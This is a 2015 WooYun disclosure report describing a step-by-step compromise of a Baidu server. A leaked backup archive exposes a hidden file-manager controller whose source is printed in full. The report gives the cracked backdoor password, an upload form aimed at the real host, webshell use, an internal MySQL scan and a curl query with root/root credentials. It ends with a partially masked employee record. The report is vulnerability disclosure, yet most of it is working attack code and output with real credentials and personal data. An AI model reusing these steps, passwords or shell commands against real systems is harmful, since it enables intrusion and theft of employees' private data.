当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125345

漏洞标题:神器而已之百度某站GETSHELL步步深入内网可获取部分员工数据

相关厂商:百度

漏洞作者: 举起手来

提交时间:2015-07-08 11:55

修复时间:2015-08-22 14:10

公开时间:2015-08-22 14:10

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-08: 细节已通知厂商并且等待厂商处理中
2015-07-08: 厂商已经确认,细节仅向厂商公开
2015-07-18: 细节向核心白帽子及相关领域专家公开
2015-07-28: 细节向普通白帽子公开
2015-08-07: 细节向实习白帽子公开
2015-08-22: 细节向公众公开

简要描述:

神器而已,一如既往,只需要一个很小的漏洞。

详细说明:

第一节:一个备份的代码包泄露

220.181.163.222:8000/admin.tar.gz


第二节:代码审计
解压缩代码包以后发现是这样一个线上地址:http://220.181.163.222:8000/admin/webroot/index.php
但是直接访问这个地址会跳转到https://itebeta.baidu.com/;说明他也许是一个内部服务吧,

➜  baidu  curl http://220.181.163.222:8000/admin/webroot/index.php -vv
* Hostname was NOT found in DNS cache
* Trying 220.181.163.222...
* Connected to 220.181.163.222 (220.181.163.222) port 8000 (#0)
> GET /admin/webroot/index.php HTTP/1.1
> User-Agent: curl/7.37.1
> Host: 220.181.163.222:8000
> Accept: */*
>
< HTTP/1.1 302 Found
* Server nginx/1.2.4 is not blacklisted
< Server: nginx/1.2.4
< Date: Wed, 08 Jul 2015 03:20:26 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: close
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Location: https://itebeta.baidu.com/login?service=http%3A%2F%2F220.181.163.222%3A8000%2Fadmin%2Fwebroot%2Findex.php
< Pragma: no-cache


好,正式开始审计;看代码发现是CodeIgniter.php框架;我们看下关键文件admin/application/core/BD_Controller.php

require_once(APPPATH . 'third_party/cas/CAS.php');
class BD_Controller extends CI_Controller {
protected $vdata = array();
protected $user = null;
protected $mkey = null;
protected $layout = 'layout';
/**
* @brief array 可跳过验证模块
*
* @var array
* @acccess public
*/
protected $_arrSkipModule = array(
'sync/appreceive',
'sync/appoffline',
'sync/receive',
'sync/notify',
'api/dotask',
'bossapi/getapp',
'applist/synccallback',
'api/copyright',
'untest/checkfile',
'untest/openfile',
'untest/delfile',
'untest/uploadfile'
);


从上面这段代码可以看到这些接口是不需要统一登录认证的,尤其是untest/* 这几个接口,简直就是特么的后门啊;我们看代码:

<?php
if (!defined('BASEPATH'))
exit('No direct script access allowed');
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
* Description of unittest
*
* @author Administrator
*/
class Untest extends BD_Controller {
public function __construct() {
parent::__construct();
}
// 列目录
public function checkfile() {
if (!$this->isLogined()) {
return;
}
$this->load->library('httphelper');
$remoteip = httphelper::GetClientIP();
echo '<html><head><title>file-' . $remoteip . '</title></head><body style="font-size:14px;">';
if (empty($_GET['d'])) {
echo '当前文件:' . __FILE__ . ' 未输入目录cc';
return;
}
$dir = $_GET['d'];
//$dir = iconv('utf-8', 'gb2312', $dir);
if (!is_dir($dir)) {
if (is_file($dir)) {
echo '文件:<a href="openfile?d=' . $dir . '&a" target="_blank">' . $dir . '</a>';
return;
}
echo '不是文件也不是目录:' . $dir;
return;
}
if ($dh = opendir($dir)) {
// 移除最后一个斜杠
$chEnd = $dir[strlen($dir) - 1];
if ($chEnd == '/' || $chEnd == '\\') {
$dir = substr($dir, 0, strlen($dir) - 1);
}
// 遍历当前目录
$arrDir = array();
$arrFile = array();
while (($file = readdir($dh)) !== false) {
if ($file != '.' && $file != '..') {
$showname = iconv('gb2312', 'utf-8', $file);
$fullpath = $dir . '/' . $file;
if (is_file($fullpath))
$arrFile[$showname] = $fullpath;
else if (is_dir($fullpath))
$arrDir[$showname] = $fullpath;
else
echo '未知:' . $file . '<br/>';
}
}
closedir($dh);
echo '<script type="text/javascript" src="http://appsearchcdn.baidu.com/statics/game/static/lib/jq_e558165.js"></script>';
echo '<script type="text/javascript" src="http://bcs.91.com/rbpiczy/client91_cache/other/rowColor.js"></script>';
echo '<div style="color:blue;font-weight:bold;">说明:如果要下载文件,请按右键,另存为... | 当前访问目录 ' . $dir . '</div>';
echo '<table id="tbData" border="0" cellspacing="0" cellpadding="0" style="table-layout:fixed;border-collapse:collapse">';
echo '<tr>'
. '<th>序号</th>'
. '<th style="width:400px;">名称</th>'
. '<th style="width:120px;">大小(字节)</th>'
. '<th style="width:180px;">修改时间</th>'
//. '<th style="width:100px;">操作</th>'
. '</tr>' . "\n";
// 显示父目录
if ($dir != '') {
$parent = substr($dir, 0, strripos($dir, '/'));
if ($parent != '')
echo '<tr onmouseover="onRowOver(this);" onmouseout="onRowOut(this);" onclick="onRowClick(this);">'
. '<td></td><td><a href="checkfile?d=' . urlencode($parent) . '&">..</a></td>'
. '<td></td><td></td><td></td></tr>' . "\n";
}
$colors = array("#ffffff", "#dadada");
$idx = 1;
// 先显示所有目录
natcasesort($arrDir);
foreach ($arrDir as $key => $value) {
echo '<tr onmouseover="onRowOver(this);" onmouseout="onRowOut(this);" onclick="onRowClick(this);"'
. ' style="background-color:' . $colors[$idx % 2] . '" dir="' . urlencode($value) . '">'
. '<td>' . $idx . '</td>'
. '<td><a>' . $key . '</a></td>'
. '<td style="text-align:center;">目录</td>'
. '<td style="text-align:center;">' . date("Y-m-d H:i:s", filemtime($value)) . '</td>'
//. '<td><a>改名</a>|<a>删除</a></td>'
. '</tr>' . "\n";
$idx++;
}
// 再显示所有文件
natcasesort($arrFile);
foreach ($arrFile as $key => $value) {
echo '<tr onmouseover="onRowOver(this);" onmouseout="onRowOut(this);" onclick="onRowClick(this);"'
. ' style="background-color:' . $colors[$idx % 2] . '" file="' . urlencode($value) . '">'
. '<td>' . $idx . '</td>'
. '<td><a target="_blank">' . $key . '</a></td>'
. '<td style="text-align:right;">' . number_format(filesize($value)) . '</td>'
. '<td style="text-align:center;">' . date("Y-m-d H:i:s", filemtime($value)) . '</td>'
//. '<td><a>改名</a>|<a>删除</a></td>'
. '</tr>' . "\n";
$idx++;
}
echo '</table>';
echo <<<EndMark
<script type="text/javascript">
$(function(){
$("#tbData tr[dir]").each(function(){
tr = $(this);
dir = tr.attr("dir");
if(!dir)
return;
openLnk = tr.find("a:eq(0)");
tr.find("a:eq(0)").attr("href", "checkfile?d=" + dir + "&");
tr.find("a:eq(2)").attr("href", "#0").click(function(){
if(confirm("你确认要删除目录 " + unescape(dir) + "?")){

}
});
});
$("#tbData tr[file]").each(function(){
tr = $(this);
file = tr.attr("file");
if(!file)
return;
openLnk = tr.find("a:eq(0)");
tr.find("a:eq(0)").attr("href", "openfile?d=" + file + "&");
tr.find("a:eq(2)").attr("href", "#0").click(function(){
if(confirm("你确认要删除文件 " + unescape(file) + "?")){

}
});
});
});
</script>
EndMark;
echo '</body></html>';
}
}
// 打开文件
public function openfile() {
if (!$this->isLogined()) {
return;
}
if (empty($_GET['d'])) {
echo '当前文件:' . __FILE__ . ' 未输入文件';
return;
}
$filepath = $_GET['d'];
if (!is_file($filepath)) {
echo '不是文件:' . $filepath;
return;
}
$size = filesize($filepath);
if (!empty($_GET['size'])) {
var_dump($size);
return;
}
try {
$file = fopen($filepath, 'r'); // 打开文件
Header("Content-type: text/plain");
echo fread($file, filesize($filepath));
fclose($file);
} catch (Exception $exp) {
$msg = $exp->getMessage();
//log_message('error', $msg);
echo $msg;
}
}
// 删除文件
public function delfile() {
if (!$this->isLogined()) {
return;
}
if (empty($_GET['d'])) {
echo '当前文件:' . __FILE__ . ' 未输入文件';
return;
}
$filepath = $_GET['d'];
if (!is_file($filepath)) {
echo '不是文件:' . $filepath;
return;
}
try {
unlink($filepath);
echo 'ok' . $filepath;
} catch (Exception $exp) {
$msg = $exp->getMessage();
//log_message('error', $msg);
echo $msg;
}
}
public function uploadfile() {
if (!$this->isLogined()) {
return;
}

if (isset($_SERVER['REQUEST_METHOD']) &&
$_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['filSelect'])) {
if ($_FILES['filSelect']['error'] > 0) {
echo 'Error: ' . $_FILES['filSelect']['error'] . "<br />";
return;
}
// 获取上传目录
$dir = '/';
if(isset($_POST['dir'])){
$tmpdir = $_POST['dir'];
if(strlen($tmpdir) > 0){
$dir = $tmpdir;
}
}
$lastCh = $dir[strlen($dir) - 1];
if($lastCh !== '/' && $lastCh !== '\\'){
$dir .= '/';
}
// 获取是否覆盖
$overwrite = false;
if(isset($_POST['chkOverwrite']) && $_POST['chkOverwrite'] === 'on'){
$overwrite = true;
}

$savefile = $dir . $_FILES['filSelect']["name"];
// 转码,避免中文文件名问题导致无法保存
$savefileReal = iconv("UTF-8","gb2312", $savefile);
try{
if(!$overwrite && file_exists($savefileReal)){
echo 'file exists: ' . $savefile;
return;
}
move_uploaded_file($_FILES["filSelect"]["tmp_name"], $savefileReal);
}catch(Exception $exp){
echo $exp->getMessage();
return;
}
echo 'Upload: ' . $_FILES['filSelect']["name"] . "<br />";
echo 'Type: ' . $_FILES['filSelect']["type"] . "<br />";
echo 'Size: ' . $_FILES['filSelect']["size"] . "<br />";
echo 'Temp stored: ' . $_FILES['filSelect']["tmp_name"] . " <br />";
echo 'Stored in: ' . $savefile . " <br />";
return;
}// end upload
echo<<<TheEnd
<html>
<body>
<script type="text/javascript" src="http://appsearchcdn.baidu.com/statics/game/static/lib/jq_e558165.js"></script>
<form action="uploadfile" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
Upload to:<input type="text" name="dir" value="" /><br/>
<label>Filename:<input type="file" name="filSelect" /></label><br/>
<label><input type="checkbox" name="chkOverwrite" />Overwrite while file exists.</label><br/>
<input type="submit" name="submit" value="Submit" />
</form>
<script type="text/javascript">
function checkSubmit(){
if($("input[name='filSelect']").val().length == 0){
alert("please select file.");
return false;
}
if($("input[name='chkOverwrite']").is(":checked") && !confirm("file will be overwrite, continue???")){
return false;
}
return true;
}
</script>
</body>
</html>
TheEnd;
}
}
?>%


我们看看这个逻辑里面加了一个密码验证。就是后门啊,找到对应的逻辑

// 判断是否成功登录,用于测试方法安全校验
protected function isLogined() {
$this->load->library('session');
$pwdmd5_ver = '657541db7dde258fe2c905b1b361a039';
$txtPwd = 'txtPwd';
if (isset($_POST[$txtPwd])) {
$pwdmd5 = md5($_POST[$txtPwd]);
if ($pwdmd5 === $pwdmd5_ver) {
// 设置Session
$this->session->set_userdata($txtPwd, $pwdmd5);
return true;
}
}
// 没有POST时,读Session
$sessionPwd = $this->session->userdata($txtPwd);
if (!empty($sessionPwd) && $sessionPwd === $pwdmd5_ver) {
return true;
}
// 显示登录窗体
$this->showLogin();
return false;
}


破解下MD5 657541db7dde258fe2c905b1b361a039 运气不错,解出来是youtqnd

liemulu.png


接着利用这个后门上传文件

<html>
<body>
<form action="http://220.181.163.222:8000/admin/webroot/index.php/untest/uploadfile" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="text" name="dir" value="/home/work/orp/webroot/admin/webroot/css/" />
<input type="text" name="txtPwd" value="youtqnd" />
<input type="file" name="filSelect" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>


然后就是可以传shell了

51A0996C-F17F-4870-8CF4-B463B47DA742.png


第三节:深入内网,获取数据
测试需要写一个mysql的代理,然后跑了一个c段

27DF1D3A-E79C-4F7D-B4C6-CD17E728E3ED.png


扫到一堆,找一个试试:

mysql1.png


然后竟然发现有一个数据库里藏着大量员工数据:包括电话,部门,汇报关系,级别,身份证,入职时间等等

10w.png


看看XXX的数据

11.jpg


第最后一节,拿一台内网机器玩玩把~

76FDE08E-FEB0-4859-980E-86E74B70CD2E.png


2.jpg

漏洞证明:

➜  baidu  curl "http://220.181.163.222:8000/admin/webroot/css/css.php" -d "host=10.48.223.115&user=root&password=root&database=podatabase&sql=select * from duxuetang.raf_user where EMAIL =\"马赛克@baidu.com\" limit 1 "
successarray(124) {
[0]=>
string(5) "21514"
["ID"]=>
string(5) "21514"
[1]=>
string(3) "yli"
["USERNAME"]=>
string(3) "yli"
[2]=>
string(3) "yli"
["PASSWORD"]=>
string(3) "yli"
[3]=>
string(9) "马赛克"
["NAME"]=>
string(9) "马赛克"
[4]=>
string(12) "FORMAL_ENTRY"
["STATE"]=>
string(12) "FORMAL_ENTRY"
[5]=>
string(15) "***@baidu.com"
["EMAIL"]=>
string(15) "***@baidu.com"
[6]=>
NULL
["BIRTHDAY"]=>
NULL
[7]=>
NULL
["DS_ENTP_ID"]=>
NULL
[8]=>
string(2) "36"
["RAF_ENTP_ID"]=>
string(2) "36"
[9]=>
string(3) "101"
["ENTP_CODE"]=>
string(3) "101"
[10]=>
string(12) "百度中国"
["ENTP_NAME"]=>
string(12) "百度中国"
[11]=>
string(3) "103"
["DS_DEPT_ID"]=>
string(3) "103"
[12]=>
string(6) "403000"
["DEPARTMENT_CODE"]=>
string(6) "403000"
[13]=>
string(9) "**办"
["DEPARTMENT_NAME"]=>
string(9) "**办"
[14]=>
string(2) "EO"
["DEPARTMENT_ABBREVIATION"]=>
string(2) "EO"
[15]=>
string(3) "215"
["EMPLOYEE_ID"]=>
string(3) "215"
[16]=>
string(5) "B8888"
["EMPLOYEE_NUMBER"]=>
string(5) "B8888"
[17]=>
string(6) "员工"
["EMPLOYEE_TYPE"]=>
string(6) "员工"
[18]=>
NULL
["ENGLISH_NAME"]=>
NULL
[19]=>
string(2) "25"
["GRADE"]=>
string(2) "25"
[20]=>
string(6) "**"
["GRADE_NAME"]=>
string(6) "**"
[21]=>
string(5) "马赛克"
["HI_NUMBER"]=>
string(5) "马赛克"
[22]=>
string(18) "110马赛克1874"
["ID_CARD_NUMBER"]=>
string(18) "110马赛克1874"
[23]=>
string(5) "...25"
["JOB_DESCRIPTION"]=>
string(5) "...25"
[24]=>
NULL
["WORK_START_DATE"]=>
NULL
[25]=>
NULL
["MOBILE_NUMBER"]=>
NULL
[26]=>
NULL
["PHONE_NUMBER"]=>
NULL
[27]=>
string(5) "15994"
["DS_POSITION_ID"]=>
string(5) "15994"
[28]=>
string(6) "**"
["POSITION_NAME"]=>
string(6) "**"
[29]=>
string(2) "M6"
["POSITION_MAJOR_LEVEL"]=>
string(2) "M6"
[30]=>
string(9) "管理类"
["POSITION_MAJOR_SEQ"]=>
string(9) "管理类"
[31]=>
string(9) "管理类"
["POSITION_MICRO_SEQ"]=>
string(9) "管理类"
[32]=>
string(1) "B"
["POSITION_MINOR_LEVEL"]=>
string(1) "B"
[33]=>
string(6) "管理"
["POSITION_MINOR_SEQ"]=>
string(6) "管理"
[34]=>
NULL
["REGULAR_START_DATE"]=>
NULL
[35]=>
string(10) "2000-01-01"
["SERVICE_START_DATE"]=>
string(10) "2000-01-01"
[36]=>
NULL
["SERVICE_END_DATE"]=>
NULL
[37]=>
NULL
["SEX"]=>
NULL
[38]=>
NULL
["DS_SUPERIOR_ID"]=>
NULL
[39]=>
NULL
["RAF_SUPERIOR_ID"]=>
NULL
[40]=>
NULL
["SUPERIOR_USERNAME"]=>
NULL
[41]=>
NULL
["SUPERIOR_NAME"]=>
NULL
[42]=>
NULL
["SUPERIOR_EMAIL"]=>
NULL
[43]=>
NULL
["ENTRY_LOCATION"]=>
NULL
[44]=>
string(1) "#"
["PHOTO_URL"]=>
string(1) "#"
[45]=>
string(1) "D"
["DS_ACTION"]=>
string(1) "D"
[46]=>
string(6) "153604"
["DS_VERSION"]=>
string(6) "153604"
[47]=>
string(3) "UIC"
["DS_CODE"]=>
string(3) "UIC"
[48]=>
string(5) "24542"
["DS_IDENTITY"]=>
string(5) "24542"
[49]=>
string(3) "155"
["PRINCIPAL_ID"]=>
string(3) "155"
[50]=>
string(19) "2015-01-28 03:00:05"
["VERSION"]=>
string(19) "2015-01-28 03:00:05"
[51]=>
NULL
["BUSINESS_GROUP_NAME"]=>
NULL
[52]=>
NULL
["CARD_HEX"]=>
NULL
[53]=>
NULL
["CARD_NUMBER"]=>
NULL
[54]=>
NULL
["DOMAIN"]=>
NULL
[55]=>
NULL
["ENTRY_SHEET_NUMBER"]=>
NULL
[56]=>
NULL
["EXTERNAL_POSITION"]=>
NULL
[57]=>
NULL
["IN_HQ"]=>
NULL
[58]=>
NULL
["LOCATION"]=>
NULL
[59]=>
NULL
["PAYROLL_ID"]=>
NULL
[60]=>
NULL
["PAYROLL_NAME"]=>
NULL
[61]=>
NULL
["WORK_GROUP"]=>
NULL
}


还有一些机器账号密码泄露

修复方案:

很严重的漏洞!

版权声明:转载请注明来源 举起手来@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-08 14:08

厂商回复:

感谢

最新状态:

暂无